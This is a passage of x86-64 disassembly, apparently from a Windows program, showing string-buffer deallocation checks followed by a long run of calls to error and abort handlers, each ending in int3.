cmp rdx, 0x1000
jb 0x14000f81d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9fe
call fcn.14002f190
mov qword [rbp], rbx
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
cmp dword [rbp + 0x58], 0
jne 0x14000fa04
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000f87d
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f878
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9fe
call fcn.14002f190
cmp r13, 0xf
jbe 0x14000f8b5
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000f8ad
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9fe
mov rcx, r12
call fcn.14002f190
mov eax, edi
jmp 0x14000c2b3
mov ecx, 1
call fcn.14002dd54
int3
xor ecx, ecx
call fcn.140035300
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f25c
int3
call fcn.14003f25c
int3
call fcn.14003f25c
int3
mov dword [rbp + 0x58], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f2d4
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
mov ecx, 1
call fcn.14002dd54
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3
mov ecx, 1
call fcn.14002dd54
int3
mov dword [rbp + 0x58], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
mov ecx, 1
call fcn.14002dd54
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
mov ecx, 1
call fcn.14002dd54
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
call fcn.14003f25c
int3
mov ecx, 1
call fcn.14002dd54
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3
call fcn.14003f25c
int3
call fcn.14003f25c
int3
call fcn.14003f2d4
int3
mov dword [rbp + 0x18], ebx
mov ecx, 6
call fcn.14002dd54
int3